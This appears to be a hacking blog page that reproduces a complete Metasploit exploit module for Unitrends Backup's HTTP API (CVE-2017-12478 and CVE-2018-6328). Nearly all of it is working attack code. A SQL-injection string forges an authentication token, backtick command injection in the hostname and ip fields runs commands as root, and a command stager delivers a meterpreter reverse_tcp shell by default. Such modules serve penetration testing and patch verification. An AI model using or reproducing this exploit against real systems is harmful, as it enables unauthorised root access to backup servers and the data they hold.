Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86377421

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Unitrends UEB http api remote code execution',
      'Description'    => %q{
        It was discovered that the api/storage web interface in Unitrends Backup (UB)
        before 10.0.0 has an issue in which one of its input parameters was not validated.
        A remote attacker could use this flaw to bypass authentication and execute arbitrary
        commands with root privilege on the target system.
        UEB v9 runs the api under root privileges and api/storage is vulnerable.
        UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
      },
      'Author'         =>
        [
          'Cale Smith',    # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave',   # @iotennui
          'h00die'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch' => [ARCH_X86],
      'CmdStagerFlavor' => [ 'printf' ],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
          ['EDB', '44297'],
          ['CVE', '2017-12478'],
          ['CVE', '2018-6328']
        ],
      'Targets'        =>
        [
          [ 'UEB 9.*', { 'Privileged' => true} ],
          [ 'UEB < 10.1.0', { 'Privileged' => false} ]
        ],
      'DefaultOptions' => {
          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
          'SSL' => true
        },
      'DisclosureDate'  => 'Aug 8 2017',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ])
    deregister_options('SRVHOST', 'SRVPORT')
  end

  def auth_token
    session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0"  #SQLi auth bypass
    Base64.strict_encode64(session) #b64 encode session token
  end

  def check
    res = send_request_cgi!({
        'method' => 'GET',
        'uri'    => '/api/systems/details',
        'ctype'  => 'application/json',
        'headers' =>
        {'AuthToken' => auth_token}
      })
    if res && res.code == 200
      print_good("Good news, looks like a vulnerable version of UEB.")
      return CheckCode::Appears
    else
      print_bad('Host does not appear to be vulnerable.')
    end
    return CheckCode::Safe
  end

  #substitue some charactes
  def filter_bad_chars(cmd)
    cmd.gsub!("\\", "\\\\\\")
    cmd.gsub!("'", '\\"')
  end

  def execute_command(cmd, opts = {})
    if target.name == 'UEB 9.*'
      #substitue the cmd into the hostname parameter
      parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
      parms << filter_bad_chars(cmd)
      parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
      uri = '/api/storage'
    elsif target.name == 'UEB < 10.1.0'
      parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
      parms << filter_bad_chars(cmd)
      parms << %Q|`'"}|
      uri = '/api/hosts'
    end

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'ctype'  => 'application/json',
      'encode_params' => false,
      'data'   => parms,
      'headers' =>
        {'AuthToken' => auth_token}
    })

    if res && res.code != 500
      fail_with(Failure::UnexpectedReply,'Unexpected response')
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end

  def exploit
    print_status("#{peer} - Sending requests to UEB...")
    execute_cmdstager(:linemax => 120)
  end
end